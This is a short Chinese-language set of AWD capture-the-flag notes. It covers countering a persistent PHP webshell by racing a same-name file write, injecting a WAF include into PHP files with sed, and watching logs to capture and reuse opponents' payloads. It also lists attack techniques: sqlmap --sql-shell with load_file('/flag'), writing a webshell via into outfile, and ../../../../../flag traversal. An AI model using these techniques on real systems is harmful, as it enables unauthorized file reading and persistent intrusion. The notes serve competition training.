防不死马 使用条件竞争写入同名文件进行克制不死马 对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode运行了 关于opcode有:https://www.laruence.com/2008/06/18/221.html 这里使用条件竞争写入同名文件进行克制不死马 可以看到现在.config.php文件内容仍为:
我们上传一个test.php的php文件,注意usleep需要比不死马小,$code修改为无害内容
上传至服务器访问 再次查看.config.php文件内容,可以看到内容已无害
监测攻击payload 1 2 3 4 5 tail -f *.log sudo find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/waf.php');\n/g" find /var/www/html -type f -name "*.php" -exec sed -i "s/<?php/<?php\nrequire_once('\/var\/www\/html\/waf.php');\n/g" {} +
看日志,不言而喻,抓他们的payload并利用
漏洞 常见的漏洞包括SQL注入、文件包含、文件上传、命令执行等。
(1)sql注入漏洞 比赛一般没有防护(除非选手安装了防御脚本),可直接通过 --sql-shell
执行 select load_file(‘/flag’);
得到flag,也可以利用 into outfile
写木马维持权限。
(2)本地文件包含或目录遍历 直接通过 ../../../../../flag
获取。